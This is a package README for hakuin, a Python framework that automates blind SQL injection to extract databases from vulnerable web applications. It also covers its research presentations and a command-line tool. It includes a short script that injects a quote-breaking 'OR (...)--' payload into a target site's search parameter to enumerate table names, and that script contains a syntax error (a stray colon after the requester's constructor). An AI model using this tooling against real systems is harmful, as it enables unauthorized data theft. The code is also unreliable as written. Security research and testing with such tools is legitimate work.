hakuin 0.2.0

Blind SQL Injection optimization and automation framework

Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the extraction logic and allows users to easily and efficiently dumps databases from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, statistical modeling, parallelism, and much more.

Hakuin has been presented at esteemed academic and industrial conferences:

• BlackHat MEA, Riyadh, 2023
• Hack in the Box, Phuket, 2023
• IEEE S&P Workshop on Offsensive Technology (WOOT), 2023

More information can be found in our paper and slides.

Installation

To install Hakuin, simply run:

pip3 install hakuin

Command Line Tool

Hakuin ships with an intuitive tool that offers most of Hakuin's features directly from the command line:

hk -h

Custom Scripting

Sometimes, BSQLI vulnerabilities are too tricky to exploit from the command line and require custom scripting. This is where Hakuin shines, allowing you to customize absolutely everything - the injection logic, the inference logic, and even the queries.

Here is a minimal example:

import asyncio
import aiohttp
from hakuin import Extractor, Requester

class SimpleRequester(Requester):
    async def request(self, query, ctx):
        payload = query.render(ctx)
        url = f'http://target.com/users?search=XXX" OR ({payload})--'
        async with aiohttp.request('GET', url) as resp:
            return resp.status == 200

async def main():
    requester = SimpleRequester():
    ext = Extractor(requester=requester, dbms='sqlite')
    data = await ext.extract_table_names()
    print(data)

asyncio.run(main())

For Researchers

This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
